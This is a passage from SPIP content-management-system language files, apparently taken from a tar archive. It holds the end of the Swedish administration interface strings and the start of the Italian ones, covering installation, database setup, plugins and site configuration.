'install_login_base_hebergeur' => 'Login tilldelat av leverantören',
'install_nom_base_hebergeur' => 'Databasnamn tilldelat av leverantören:',
'install_pas_table' => 'Databasen har inga tabeller',
'install_pass_base_hebergeur' => 'Lösenord till databasen tilldelat av leverantören',
'install_php_version' => 'Versionen av PHP, @version@ är för gammal (minimum = @minimum@)',
'install_select_langue' => 'Välj ett språk, klicka sedan på knappen "fortsätt" för att starta installationen.',
'install_select_type_db' => 'Välj typ av databas :',
'install_select_type_mysql' => 'MySQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_tables_base' => 'Databasens tabeller',
'intem_redacteur' => 'redaktör',
'intitule_licence' => 'Licens',
'item_accepter_inscriptions' => 'Tillåt registreringar',
'item_activer_messages_avertissement' => 'Aktivera varningsmeddelanden',
'item_administrateur_2' => 'administratör',
'item_afficher_calendrier' => 'Visa i kalendern',
'item_autoriser_documents_joints' => 'Tillåt dokument bifogade till artiklarna',
'item_autoriser_documents_joints_rubriques' => 'Tillåt dokument i avdelningarna',
'item_autoriser_syndication_integrale' => 'Inkludera hela artiklar i syndikeringsfilerna',
'item_choix_administrateurs' => 'administratörer',
'item_choix_generation_miniature' => 'Generera miniatyrer automatiskt.',
'item_choix_non_generation_miniature' => 'Generera inte miniatyrer.',
'item_choix_redacteurs' => 'redaktörer',
'item_choix_visiteurs' => 'besökare till den publika delen',
'item_creer_fichiers_authent' => 'Skapa .htpasswd filer',
'item_limiter_recherche' => 'Begränsa sökningen till information i din sajt',
'item_login' => 'Login',
'item_messagerie_agenda' => 'Aktivera meddelandesystemet och kalendern',
'item_mots_cles_association_articles' => 'artiklar',
'item_mots_cles_association_rubriques' => 'avdelningar',
'item_mots_cles_association_sites' => 'länkade eller syndikerade sajter.',
'item_non' => 'Nej',
'item_non_accepter_inscriptions' => 'Tillåt inte registreringar',
'item_non_activer_messages_avertissement' => 'Inga varningsmeddelanden',
'item_non_afficher_calendrier' => 'Visa inte i kalendern',
'item_non_autoriser_documents_joints' => 'Tillåt inte dokument i artiklarna',
'item_non_autoriser_documents_joints_rubriques' => 'Tillåt inte dokument i avdelningarna',
'item_non_autoriser_syndication_integrale' => 'Skicka bara en sammanfattning',
'item_non_compresseur' => 'Avaktivera komprimering',
'item_non_creer_fichiers_authent' => 'Skapa inte dessa filer',
'item_non_gerer_statistiques' => 'Hantera inte statistik',
'item_non_limiter_recherche' => 'Utöka indexeringen till att omfatta innehåll på länkade sajter',
'item_non_messagerie_agenda' => 'Avaktivera meddelandesystemet och kalendern',
'item_non_publier_articles' => 'Publicera inte artiklar innan deras publiceringsdatum.',
'item_non_utiliser_moteur_recherche' => 'Använd inte sökmotorn',
'item_nouvel_auteur' => 'Ny redaktör',
'item_nouvelle_rubrique' => 'Ny avdelning',
'item_oui' => 'Ja',
'item_publier_articles' => 'Publicera artiklarna utan att ta hänsyn till publiceringsdatum.',
'item_reponse_article' => 'Svara på artikeln',
'item_utiliser_moteur_recherche' => 'Använd sökmotorn',
'item_visiteur' => 'besökare',
// J
'jour_non_connu_nc' => 'okänd',
// L
'lien_ajout_destinataire' => 'Lägg till som mottagare',
'lien_ajouter_auteur' => 'Lätt till redaktören',
'lien_ajouter_participant' => 'Lägg till en deltagare',
'lien_email' => 'e-post',
'lien_nom_site' => 'SAJTENS NAMN:',
'lien_retirer_auteur' => 'Ta bort redaktören',
'lien_retrait_particpant' => 'ta bort deltagaren',
'lien_site' => 'sajt',
'lien_supprimer_rubrique' => 'ta bort den här avdelningen',
'lien_tout_deplier' => 'Expandera alla',
'lien_tout_replier' => 'Kollapsa alla',
'lien_tout_supprimer' => 'Radera alla',
'lien_trier_nom' => 'Sortera efter namn',
'lien_trier_nombre_articles' => 'Sortera efter artikelnummer',
'lien_trier_statut' => 'Sortera efter status',
'lien_voir_en_ligne' => 'SE ONLINE:',
'logo_article' => 'ARTIKELNS LOGOTYPE', # MODIF
'logo_auteur' => 'REDAKTÖRENS LOGOTYPE', # MODIF
'logo_rubrique' => 'Avdelningens logotype', # MODIF
'logo_site' => 'SAJTENS LOGOTYPE', # MODIF
'logo_standard_rubrique' => 'STANDARDLOGOTYPE FÖR AVDELNINGAR', # MODIF
'logo_survol' => 'LOGOTYPE FÖR MUS-ÖVER', # MODIF
// M
'menu_aide_installation_choix_base' => 'Välj din databas',
'module_fichier_langue' => 'Språkfiler',
'module_raccourci' => 'Genväg',
'module_texte_affiche' => 'Visad text',
'module_texte_traduction' => 'Språkfilen « @module@ » finns i:',
// O
'onglet_contenu' => 'Innehåll',
'onglet_declarer_une_autre_base' => 'Ange en annan databas',
'onglet_discuter' => 'Diskutera',
'onglet_documents' => 'Dokument',
'onglet_interactivite' => 'Interaktivitet',
'onglet_proprietes' => 'Egenskaper',
'onglet_repartition_actuelle' => 'nu',
// P
'plugin_etat_developpement' => 'Under utveckling',
'plugin_etat_experimental' => 'exprimentell',
'plugin_etat_stable' => 'Stabil',
'plugin_etat_test' => 'under test',
'plugin_impossible_activer' => 'Omöjligt att aktivera pluginen @plugin@',
'plugin_necessite_plugin' => 'Version @version@ eller nyare av pluginen @plugin@ krävs.',
'plugin_zip_active' => 'Fortsätt för att aktivera',
'plugin_zip_installe_finie' => 'Filen @zip@ har packats upp och installerats.',
'plugin_zip_installe_rep_finie' => 'Filen @zip@ har packats upp och installerats i katalogen @rep@',
'plugin_zip_installer' => 'Du kan installera nu.',
'plugins_actifs' => '@count@ aktiva plugins.',
'plugins_compte' => '@count@ plugins',
'plugins_disponibles' => '@count@ tillgängliga plugins.',
'plugins_erreur' => 'Fel i följande plugin: @plugins@',
'plugins_liste' => 'Lista över plugins',
// T
'taille_cache_vide' => 'Cachen är tom.',
'text_article_propose_publication' => 'Artikel inlämnad för publicering. tveka inte att säga din mening i forumet längst ned på sidan.', # MODIF
'texte_admin_effacer_01' => 'Detta kommando raderar <i>all</i> information i databasen,
inklusive <i>alla</i> uppgifter om användare. Efter att du använt det, måste du
installera om SPIP för att skapa en ny databas och den första administratören.',
'texte_adresse_annuaire_1' => '( Om din katalog är installerad på samma dator som din websajt, är det troligen «localhost».)',
'texte_ajout_auteur' => 'Följande redaktör lades till artikeln:',
'texte_annuaire_ldap_1' => 'Om du har tillgång till en LDAP-katalog kan du använda den för att importera användare till SPIP.',
'texte_article_statut' => 'Artikelns status:',
'texte_article_virtuel' => 'Virtuell artikel',
'texte_article_virtuel_reference' => '<b>Virtuell Artikel:</b> länkad artikel i din SPIP site, men ompekad till en annan URL. För att ta bort ompekningen, radera denna URL.',
'texte_aucun_resultat_auteur' => 'Inga resultat för "@cherche_auteur@".',
'texte_auteurs' => 'REDAKTÖRERNA',
'texte_choix_base_1' => 'Välj din databas:',
'texte_choix_base_2' => 'Databasservern innehåller flera databaser.',
'texte_choix_base_3' => '<b>Välj</b> den som din leverantör har gett dig:',
'texte_choix_table_prefix' => 'Prefix för tabeller:',
'texte_compresse_ou_non' => '(Den kan vara komprimerad eller inte.)',
'texte_compte_element' => '@count@ objekt',
'texte_compte_elements' => '@count@ element',
'texte_connexion_mysql' => 'Consult the information provided by your service provider. It should contain the connection codes for the SQL server.', # MODIF
'texte_en_cours_validation' => 'The following articles and news are submitted for publication. Do not hesitate to give your opinion through the forums attached to them.', # MODIF
'texte_fichier_authent' => '<b>Should SPIP create the <tt>.htpasswd</tt>
and <tt>.htpasswd-admin</tt> files in the directory @dossier@?</b><p>
These files can be used to restrict access to authors
and administrators in other parts of your site
(for instance, external statistical programme).</p><p>
If you have no need of such files, you can leave this option
with its default value (no files
creation).</p>', # MODIF
'texte_jeu_caractere_3' => 'Din sajt använder följande teckenuppsättning:',
'texte_mise_a_niveau_base_1' => 'Du har just uppdaterat filerna i SPIP.
Nu måste du uppgradera sajtens databas.',
'texte_modifier_article' => 'Redigera artikeln:',
'texte_moteur_recherche_active' => '<b>Sökmotorn är aktiverad.</b> använd det här kommandot
om du vill utföra en snabb omindexering (t.ex efter
att ha tagit tillbaka data från en backup). Kom ihåg att dokument som skapats på
det normala sättet (från gränssnittet i SPIP ) automatiskt
indexeras igen: därför är kommandot bara användbart i speciella omständigheter.',
'texte_moteur_recherche_non_active' => 'Sökfunktionen är inte aktiverad.',
'texte_multilinguisme' => 'Om du vill hantera artiklar på flera språk, med en avancerad navigering, kan du lägga till en option för språkval i artiklar och avdelningar, i enlighet med sajtens struktur.', # MODIF
'texte_multilinguisme_trad' => 'Dessutom kan du aktivera ett system för länkhantering av de olika översättningarna av en artikel.', # MODIF
'texte_non_compresse' => '<i>okomprimerad</i> (din server stöder inte denna funktion)',
'texte_nouveau_message' => 'Nytt meddelande',
'texte_nouvelle_version_spip_1' => 'Du har installerat en ny version av SPIP.',
'texte_nouvelle_version_spip_2' => 'Cette nouvelle version nécessite une mise à jour plus complète qu’à l’accoutumée. Si vous êtes webmestre du site, veuillez effacer le fichier @connect@ et reprendre l’installation afin de mettre à jour vos paramètres de connexion à la base de données.<p> (NB. : si vous avez oublié vos paramètres de connexion, jetez un œil au fichier @connect@ avant de le supprimer...)</p>', # MODIF
'texte_plus_trois_car' => 'mer än tre tecken',
'texte_plusieurs_articles' => 'Flera redaktörer hittades för "@cherche_auteur@":',
'texte_recalcul_page' => 'Om du vill uppdatera
enbart en sida, är det bäst att göra det från den publika delen genom att klicka på « Ladda om sidan ».',
'texte_recuperer_base' => 'Reparera databasen',
'texte_requetes_echouent' => '<b>Lorsque certaines requêtes SQL échouent
systématiquement et sans raison apparente, il est possible
que ce soit à cause de la base de données
elle-même.</b><p>
Votre serveur SQL dispose d’une faculté de réparation de ses
tables lorsqu’elles ont été endommagées par
accident. Vous pouvez ici tenter cette réparation ; en
cas d’échec, conservez une copie de l’affichage, qui contient
peut-être des indices de ce qui ne va pas...</p><p>
Si le problème persiste, prenez contact avec votre
hébergeur.</p>', # MODIF
'texte_sous_titre' => 'Undertitel',
'texte_statistiques_visites' => '(mörka staplar: Söndag / mörk linje: genomsnittlig nivå)',
'texte_statut_attente_validation' => 'väntar på godkännande',
'texte_statut_publies' => 'publicerad online',
'texte_statut_refuses' => 'avvisad',
'texte_suppression_fichiers' => 'Använd detta kommando för att radera alla filer
i SPIP’s cache. Det gör det möjligt att tvinga fram en uppdatering av alla sidor om du
gjort viktiga förändringar i sajtens utseende eller struktur.',
'texte_sur_titre' => 'Övertitel',
'texte_table_ok' => ': den här tabellen är OK.',
'texte_tables_indexation_vides' => 'Indextabellerna är tomma.',
'texte_tentative_recuperation' => 'Reparationsförsök',
'texte_tenter_reparation' => 'Försök att reparera databasen',
'texte_titre_02' => 'Ärenderad:',
'texte_titre_obligatoire' => '<b>Titel</b> [Krävs]',
'texte_travail_article' => '@nom_auteur_modif@ arbetade med den här artikeln för @date_diff@ minuter sedan',
'texte_trop_resultats_auteurs' => 'För många resultat för "@cherche_auteur@"; Var vänlig att smalna av frågan.',
'texte_utilisation_moteur_syndiques' => 'When you use SPIP’s integrated search engine,
you can perform searches on sites and
articles syndicated in two different ways. <br />- The simplest
way is to search only in the
titles and descriptions of the articles. <br />-
A second, much more powerful, method allows
SPIP to search also in the text
of the referenced sites. If you
reference a site, SPIP will perform
the search in the site’s text itself.', # MODIF
'texte_vide' => 'tom',
'texte_vider_cache' => 'töm cachen',
'titre_admin_effacer' => 'Tekniskt underhåll',
'titre_admin_tech' => 'Tekniskt underhåll',
'titre_admin_vider' => 'Tekniskt underhåll',
'titre_cadre_afficher_article' => 'Visa artiklarna:',
'titre_cadre_afficher_traductions' => 'Visa status för översättningen för följande språk:',
'titre_cadre_ajouter_auteur' => 'LÄGG TILL EN REDAKTÖR:',
'titre_cadre_interieur_rubrique' => 'I Avdelningen',
'titre_cadre_numero_auteur' => 'Redaktör nummer',
'titre_cadre_signature_obligatoire' => '<b>Signatur</b> [krävs]<br />',
'titre_config_fonctions' => 'Sajtens konfiguration',
'titre_configuration' => 'Sajtens konfiguration',
'titre_connexion_ldap' => 'Optioner: <b>Din LDAP koppling</b>',
'titre_groupe_mots' => 'NYCKELORDSGRUPP:',
'titre_langue_article' => 'ARTIKELNS SPRÅK', # MODIF
'titre_langue_rubrique' => 'AVDELNINGENS SPRÅK', # MODIF
'titre_langue_trad_article' => 'ARTIKESPRÅK OCH ÖVERSÄTTNINGAR',
'titre_les_articles' => 'ARTIKLAR',
'titre_naviguer_dans_le_site' => 'Navigera i sajten...',
'titre_nouvelle_rubrique' => 'Ny avdelning',
'titre_numero_rubrique' => 'AVDELNING NUMMER:',
'titre_page_admin_effacer' => 'Tekniskt underhåll: raderar databasen',
'titre_page_articles_edit' => 'Editera: @titre@',
'titre_page_articles_page' => 'Artiklar',
'titre_page_articles_tous' => 'Hela sajten',
'titre_page_auteurs' => 'Besökare',
'titre_page_calendrier' => 'Kalender @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Sajtens inställningar',
'titre_page_config_fonctions' => 'Sajtens inställningare',
'titre_page_configuration' => 'Sajtens inställningar',
'titre_page_delete_all' => 'total och oåterkallelig radering',
'titre_page_documents_liste' => 'Bifogade dokument',
'titre_page_index' => 'Din privata del',
'titre_page_recherche' => 'Sökresultat @recherche@',
'titre_page_statistiques_referers' => 'Statistik (inkommande länkar)',
'titre_page_upgrade' => 'Uppgradera SPIP',
'titre_publication_articles_post_dates' => 'Tidsstyrd publicering av artiklar',
'titre_referencer_site' => 'Referera webbplatsen:',
'titre_rendez_vous' => 'MÖTEN:',
'titre_reparation' => 'Reparera',
'titre_suivi_petition' => 'Uppföljning av namninasamlingar',
'trad_article_inexistant' => 'Det finns ingen artikel med det här numret',
'trad_article_traduction' => 'Alla versioner av den här artikeln:',
'trad_deja_traduit' => 'Den här artikeln är i sig en översättning av den nuvarande artikeln.', # MODIF
'trad_delier' => 'Sluta länka den här artikeln till dess översättningar', # MODIF
'trad_lier' => 'Den här artikeln är en översättning av artikel nummer:',
'trad_new' => 'Skriv en ny översättning av den här artikeln', # MODIF
// U
'utf8_convert_attendez' => 'Vänta några sekunder och ladda sedan om den här sidan.',
'utf8_convert_avertissement' => 'Du håller på att konvertera innehållet i din databas (artiklar, notiser, etc) från teckenkodningen <b>@orig@</b> till teckenkodningen <b>@charset@</b>',
'utf8_convert_backup' => 'Glöm inte bort att göra en fullständig säkerhetskopia av din webbplats. Du behöver också kontrollera att dina dokumentmallar och språkfiler är kompatibla med @charset@. Om spårning av revideringar är påslaget kommer den hur som helst att bli skadad.', # MODIF
'utf8_convert_erreur_deja' => 'Din webbplats är redan i @charset@, det är ingen mening med att konvertera.',
'utf8_convert_erreur_orig' => 'Fel: teckenkodningen @charset@ stöds inte.',
'utf8_convert_termine' => 'Klart!',
'utf8_convert_timeout' => '<b>Viktigt:</b> Om servern svarar med <i>timeout</i>, ladda om sidan tills du får meddelandet "Klart!".',
'utf8_convert_verifier' => 'Nu behöver du tömma webbplatsens cache och sedan kontrollera att allt är bra med de offentliga delarna av webbplatsen. Om du upplever allvarliga problem har en säkerhetskopia av ditt ursprungliga data (i SQL-format) placerats i @rep@-katalogen.',
'utf8_convertir_votre_site' => 'Konvertera din webbplats till utf-8',
// V
'version' => 'Version:'
);
?>
ecrire_it.php 0000666 00000222252 15252547432 0007244 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Attiva l’estensione',
'affichage' => 'Visualizzazione',
'aide_non_disponible' => 'Questa parte della guida in linea non è ancora disponibile in italiano.',
'annuler_recherche' => 'Annullare la ricerca',
'auteur' => 'Autore:',
'avis_acces_interdit' => 'Accesso vietato.',
'avis_article_modifie' => 'Attenzione, @nom_auteur_modif@ ha lavorato su quest’articolo @date_diff@ minuti fa',
'avis_aucun_resultat' => 'Nessun risultato.',
'avis_base_inaccessible' => 'Impossibile connettersi al database @base@.',
'avis_chemin_invalide_1' => 'il percorso che hai scelto',
'avis_chemin_invalide_2' => 'non sembra valido. Torna alla pagina precedente e verifica le informazioni fornite.',
'avis_connexion_echec_1' => 'Il collegamento alla base di dati è fallito.',
'avis_connexion_echec_2' => 'torna alla pagina precedente e verifica le informazioni fornite.',
'avis_connexion_echec_3' => '<b>N.B.</b> Su molti server si deve <b>chiedere</b> l’attivazione dell’accesso alla base di dati prima di poterlo utilizzare. Se è impossibile collegarsi, verificare che questo passo sia stato fatto.',
'avis_connexion_erreur_nom_base' => 'Il nome del database può contenere solo lettere, numeri e tratti.',
'avis_connexion_ldap_echec_1' => 'La connessione al server LDAP è fallita.',
'avis_connexion_ldap_echec_2' => 'Torna alla pagina precedente e verifica le informazioni fornite. ',
'avis_connexion_ldap_echec_3' => 'In alternativa, non utilizzare il supporto LDAP per importare utenti.',
'avis_deplacement_rubrique' => 'Attenzione! Questa rubrica contiene @contient_breves@ breve/i: se vuoi spostarla, spunta questa casella per confermare.',
'avis_destinataire_obligatoire' => 'Devi indicare un destinatario prima di mandare questo messaggio.',
'avis_erreur_connexion_mysql' => 'Errore di connessione SQL',
'avis_erreur_version_archive' => '<b>Attenzione! Il file @archive@ è stato creato
con una versione di SPIP diversa da quella
installata.</b> Potranno sorgere notevoli problemi:
rischio di distruzione del database, vari malfunzionamenti del sito ecc.
Non confermare questa richiesta d’importazione.<p>Per ulteriori
informazioni, vedere <a href="@spipnet@">
la documentazione di SPIP</a>.</p>',
'avis_espace_interdit' => '<b>Area vietata</b><div>SPIP è già installato.</div>',
'avis_lecture_noms_bases_1' => 'Il programma di installazione non ha potuto leggere i nomi dei database installati nel server.',
'avis_lecture_noms_bases_2' => 'Nessun database è disponibile, o la funzione che permette di accedere alla lista database è
disattivata per motivi sicurezza (verifica con l’amministratore di sistema).',
'avis_lecture_noms_bases_3' => 'Nel secondo caso, è probabile che un database con il tuo nome di login sia utilizzabile:',
'avis_non_acces_message' => 'Non hai accesso a questo messaggio.',
'avis_non_acces_page' => 'Non hai accesso a questa pagina.',
'avis_operation_echec' => 'L’operazione è fallita.',
'avis_operation_impossible' => 'Operazione impossibile',
'avis_probleme_archive' => 'Problema di lettura del file @archive@',
'avis_suppression_base' => 'ATTENZIONE, la cancellazione dei dati è irreversibile',
'avis_version_mysql' => 'Il vostro server SQL (@version_mysql@)non permette la correzione automatica delle tabelle del database.',
// B
'bouton_acces_ldap' => 'Aggiungi l’accesso a LDAP ',
'bouton_ajouter' => 'Aggiungi',
'bouton_ajouter_participant' => 'AGGIUNGI UN UTENTE:',
'bouton_annonce' => 'ANNUNCIO',
'bouton_annuler' => 'Annulla',
'bouton_cache_activer' => 'Riattivare la cache',
'bouton_cache_desactiver' => 'Disabilita temporaneamente la cache',
'bouton_checkbox_envoi_message' => 'possibilità di inviare un messaggio',
'bouton_checkbox_indiquer_site' => 'indicare obbligatoriamente un sito Web',
'bouton_checkbox_signature_unique_email' => 'una sola adesione per indirizzo email',
'bouton_checkbox_signature_unique_site' => 'una sola adesione per sito Web',
'bouton_demande_publication' => 'Chiedi la pubblicazione di questo articolo',
'bouton_desactive_tout' => 'Disattiva tutto',
'bouton_desinstaller' => 'Disinstalla',
'bouton_effacer_index' => 'Cancella gli indici',
'bouton_effacer_tout' => 'Cancella TUTTO',
'bouton_envoi_message_02' => 'INVIA UN MESSAGGIO',
'bouton_envoyer_message' => 'Messaggio definitivo: Invia',
'bouton_fermer' => 'Chiudi',
'bouton_mettre_a_jour_base' => 'Aggiorna il database',
'bouton_modifier' => 'Modifica',
'bouton_pense_bete' => 'PROMEMORIA AD USO PERSONALE',
'bouton_radio_activer_messagerie' => 'Attiva la messaggistica interna',
'bouton_radio_activer_messagerie_interne' => 'Attiva la messaggistica interna',
'bouton_radio_activer_petition' => 'Attiva la petizione',
'bouton_radio_afficher' => 'Visualizza',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Comparire nell’elenco dei redattori collegati',
'bouton_radio_desactiver_messagerie' => 'Disattiva la messaggistica',
'bouton_radio_envoi_annonces_adresse' => 'Invia gli annunci all’indirizzo:',
'bouton_radio_envoi_liste_nouveautes' => 'Invia l’elenco delle novità',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Non comparire nell’elenco dei redattori collegati ',
'bouton_radio_non_envoi_annonces_editoriales' => 'Non inviare annunci editoriali ',
'bouton_radio_pas_petition' => 'Nessuna petizione',
'bouton_radio_petition_activee' => 'Petizione attivata',
'bouton_radio_supprimer_petition' => 'Elimina la petizione',
'bouton_redirection' => 'REINDIRIZZAMENTO',
'bouton_relancer_installation' => 'Rilanciare l’installazione',
'bouton_suivant' => 'Avanti',
'bouton_tenter_recuperation' => 'Tentare un ripristino',
'bouton_test_proxy' => 'Testare il proxy',
'bouton_vider_cache' => 'Svuota la cache',
'bouton_voir_message' => 'Anteprima messaggio',
// C
'cache_mode_compresse' => 'I file di cache sono salvati in modalità compressa.',
'cache_mode_non_compresse' => 'I file di cache sono salvati in modalità non compressa.',
'cache_modifiable_webmestre' => 'Questo parametro può essere modificato dal webmaster del sito.',
'calendrier_synchro' => 'Se si utilizza un programma di agenda compatibile con <b>iCal</b>, è possibile sincronizzare i dati con le informazioni di questo sito',
'config_activer_champs' => 'Attiva i campi seguenti',
'config_choix_base_sup' => 'indicare un database su questo server',
'config_erreur_base_sup' => 'SPIP non ha accesso all’elenco dei database accessibili ',
'config_info_base_sup' => 'Se si hanno altri database da interrogare attraverso SPIP, con il proprio server SQL o altro, il form sottostante permette di dichiararli. Se si lasciano alcuni campi vuoti verranno utilizzati i dati della connessione al database principale.',
'config_info_base_sup_disponibles' => 'Database supplementari già dichiarati:',
'config_info_enregistree' => 'La nuova configurazione è stata registrata',
'config_info_logos' => 'Ogni elemento del sito può avere un logo, come pure un « logo per il roll-over »',
'config_info_logos_utiliser' => 'Utilizza i logo',
'config_info_logos_utiliser_non' => 'Non utilizzare i logo',
'config_info_logos_utiliser_survol' => 'Utilizzare i logo di roll-over',
'config_info_logos_utiliser_survol_non' => 'Non utilizzare i logo di roll-over',
'config_info_redirection' => 'Attivando questa opzione è possibile creare degli articoli virtuali, semplici riferimenti di articoli pubblicati su altri siti o al di fuori di SPIP.',
'config_redirection' => 'Articoli virtuali',
'config_titre_base_sup' => 'Dichiarazione di un database supplementare',
'config_titre_base_sup_choix' => 'Scegliere un database supplementare',
'connexion_ldap' => 'Connessione:',
'copier_en_local' => 'Copia in locale',
'creer_et_associer_un_auteur' => 'Crea e associa un’autore',
'creer_et_associer_une_rubrique' => 'Crea e collega una rubrica',
// D
'date_mot_heures' => 'ore',
// E
'ecran_securite' => ' + sicurezza dello schermo @version@',
'email' => 'email',
'email_2' => 'email:',
'en_savoir_plus' => 'Per saperne di più',
'entree_adresse_annuaire' => 'Indirizzo della rubrica',
'entree_adresse_email' => 'Il tuo indirizzo email',
'entree_adresse_email_2' => 'Indirizzo e-mail',
'entree_base_donnee_1' => 'Indirizzo del database',
'entree_base_donnee_2' => '(Spesso questo indirizzo coincide con quello dell’intero sito, qualche volta corrisponde a "localhost", altre volte invece non è necessario specificarlo.)',
'entree_biographie' => 'La tua biografia in breve.',
'entree_chemin_acces' => '<b>Inserire</b> il percorso d’accesso:',
'entree_cle_pgp' => 'Chiave PGP',
'entree_cle_pgp_2' => 'Chiave PGP',
'entree_contenu_rubrique' => '(Contenuto della rubrica in qualche parola)',
'entree_identifiants_connexion' => 'Identificativo di connessione...',
'entree_identifiants_connexion_2' => 'Indentificativo di connessione',
'entree_informations_connexion_ldap' => 'Inserisci in questo form gli estremi per la connessione alla tua rubrica LDAP.
Se non conosci queste informazioni, richiedile all’amministratore del sistema o della rete.',
'entree_infos_perso' => 'Chi sei?',
'entree_infos_perso_2' => 'Chi è l’autore?',
'entree_interieur_rubrique' => 'All’interno della rubrica:',
'entree_liens_sites' => '<b>Link ipertestuale</b> (riferimento, sito da visitare...)',
'entree_login' => 'Login',
'entree_login_connexion_1' => 'Il login di connessione',
'entree_login_connexion_2' => '(Corrisponde a volte al login d’accesso via FTP; in alcuni casi non occorre specificare nulla)',
'entree_login_ldap' => 'Login LDAP iniziale',
'entree_mot_passe' => 'Password',
'entree_mot_passe_1' => 'La password di connessione',
'entree_mot_passe_2' => '(Corrisponde a volte alla password d’accesso via FTP; in alcuni casi non occorre specificare nulla)',
'entree_nom_fichier' => 'Inserire il nome del file @texte_compresse@:',
'entree_nom_pseudo' => 'Nome o pseudonimo',
'entree_nom_pseudo_1' => '(Nome o pseudonimo)',
'entree_nom_pseudo_2' => 'Nome o alias',
'entree_nom_site' => 'Nome del tuo sito',
'entree_nom_site_2' => 'Nome del sito dell’autore',
'entree_nouveau_passe' => 'Nuova password',
'entree_passe_ldap' => 'Password',
'entree_port_annuaire' => 'Il numero di porta della rubrica',
'entree_signature' => 'Firma',
'entree_titre_obligatoire' => '<b>Titolo</b> [Obbligatorio]<br />',
'entree_url' => 'Indirizzo (URL) del sito',
'entree_url_2' => 'Indirizzo del sito',
'erreur_connect_deja_existant' => 'Esista già un server con quel nome',
'erreur_nom_connect_incorrect' => 'Nome del server non consentito',
'erreur_plugin_desinstalation_echouee' => 'La disinstallazione del plugin è fallita. In ogni caso potete disattivarlo.',
'erreur_plugin_fichier_absent' => 'File non presente',
'erreur_plugin_fichier_def_absent' => 'File di definizioni non presente',
'erreur_plugin_nom_fonction_interdit' => 'Nome di funzione non possibile',
'erreur_plugin_nom_manquant' => 'Nome del plugin mancante',
'erreur_plugin_prefix_manquant' => 'Spazio per il nome del plugin non definito',
'erreur_plugin_tag_plugin_absent' => '<plugin> mancante nel file di definizione',
'erreur_plugin_version_manquant' => 'Versione del plugin mancante',
// H
'htaccess_a_simuler' => 'Attenzione: la configurazione del tuo HTTP server ignora il file @htaccess@. Per garantire un buon livello di sicurezza devi modificare la configurazione del server per questa impostazione, oppure devi assicurarti che la costante @constantes@ (definibile nel file mes_options.php) sia valorizzata con una perocorso di directory posta al di fuori di @document_root@.',
'htaccess_inoperant' => 'htaccess non attivo',
// I
'ical_info1' => 'Questa pagina elenca diversi metodi per rimanere in contatto con le varie attività del sito.',
'ical_info2' => 'Per ulteriori informazioni su tutte queste tecniche, non esitate a consultare <a href="@spipnet@">la documentazione di SPIP</a>.',
'ical_info_calendrier' => 'Sono disponibili due calendari. Il primo è una mappa del sito che annuncia tutti gli articoli pubblicati. Il secondo contiene gli annunci editoriali e gli ultimi messaggi privati: è un’area riservata, mediante identificativo personale, che è possibile modificare in qualsiasi momento rinnovando la password personale.',
'ical_methode_http' => 'Download',
'ical_methode_webcal' => 'Sincronizzazione (webcal://)',
'ical_texte_js' => 'Una linea in javascript permette di visualizzare, con molta semplicità e su qualsiasi tipo di sito, gli articoli recenti pubblicati su questo sito.',
'ical_texte_prive' => 'Questo calendario, ad uso strettamente privato, dà informazioni sull’attività redazionale privata di questo sito (impegni e appuntamenti personali, articoli e brevi proposti...).',
'ical_texte_public' => 'Questo calendario permette di monitorare l’attività pubblica del sito (articoli e brevi pubblicati).',
'ical_texte_rss' => 'È possibile mettere in syndication le novità di questo sito con qualsiasi lettore di file in formato XML/RSS (Rich Site Summary). Questo è il medesimo formato che permette a SPIP di leggere le novità pubblicate su altri siti che utilizzano un formato di scambio compatibile.',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Mailing-list',
'ical_titre_rss' => 'File di syndication',
'icone_accueil' => 'Pannello di controllo',
'icone_activer_cookie' => 'Attiva il cookie di corrispondenza',
'icone_activite' => 'Attività',
'icone_admin_plugin' => 'Gestione dei plugin',
'icone_administration' => 'Manutenzione',
'icone_afficher_auteurs' => 'Pubblica gli autori',
'icone_afficher_visiteurs' => 'Pubblica i visitatori',
'icone_arret_discussion' => 'Non partecipare più a questa discussione',
'icone_calendrier' => 'Calendario',
'icone_configuration' => 'Configurazione',
'icone_creer_auteur' => 'Crea un nuovo autore ed associalo a questo articolo',
'icone_creer_mot_cle' => 'Crea una nuova parola chiave e collegala a questo articolo',
'icone_creer_mot_cle_rubrique' => 'Creare una nuova parola chiave e collegarla a questa rubrica',
'icone_creer_mot_cle_site' => 'Creare una nuova parola chiave e collegarla a questo sito',
'icone_creer_rubrique_2' => 'Crea una nuova rubrica',
'icone_edition' => 'Modifica',
'icone_envoyer_message' => 'Invia questo messaggio',
'icone_ma_langue' => 'La mia lingua',
'icone_mes_infos' => 'Le mie informazioni',
'icone_mes_preferences' => 'Le mie preferenze',
'icone_modifier_article' => 'Modifica l’articolo',
'icone_modifier_message' => 'Modifica il messaggio',
'icone_modifier_rubrique' => 'Modifica la rubrica',
'icone_publication' => 'Pubblicazione',
'icone_relancer_signataire' => 'Rilanciare il firmatario',
'icone_retour' => 'Indietro',
'icone_retour_article' => 'Torna all’articolo',
'icone_squelette' => 'Modelli',
'icone_suivi_publication' => 'Segui la pubblicazione',
'icone_supprimer_cookie' => 'Elimina il cookie di corrispondenza',
'icone_supprimer_rubrique' => 'Elimina la rubrica',
'icone_supprimer_signature' => 'Cancella l’adesione',
'icone_valider_signature' => 'Conferma l’adesione',
'image_administrer_rubrique' => 'Puoi amministrare questa rubrica',
'impossible_modifier_login_auteur' => 'Impossibile modificare le credenziali d’accesso',
'impossible_modifier_pass_auteur' => 'Impossible de modifier le mot de passe.', # Impossibile modificare la password
'info_1_article' => '1 articolo',
'info_1_article_syndique' => '1 articolo in syndication',
'info_1_auteur' => '1 autore',
'info_1_message' => '1 messaggio',
'info_1_mot_cle' => '1 parola chiave',
'info_1_rubrique' => '1 rubrica',
'info_1_site' => '1 sito',
'info_1_visiteur' => '1 visitatore',
'info_activer_cookie' => 'Se vuoi puoi attivare un <b>cookie di corrispondenza</b>, che ti permetterà
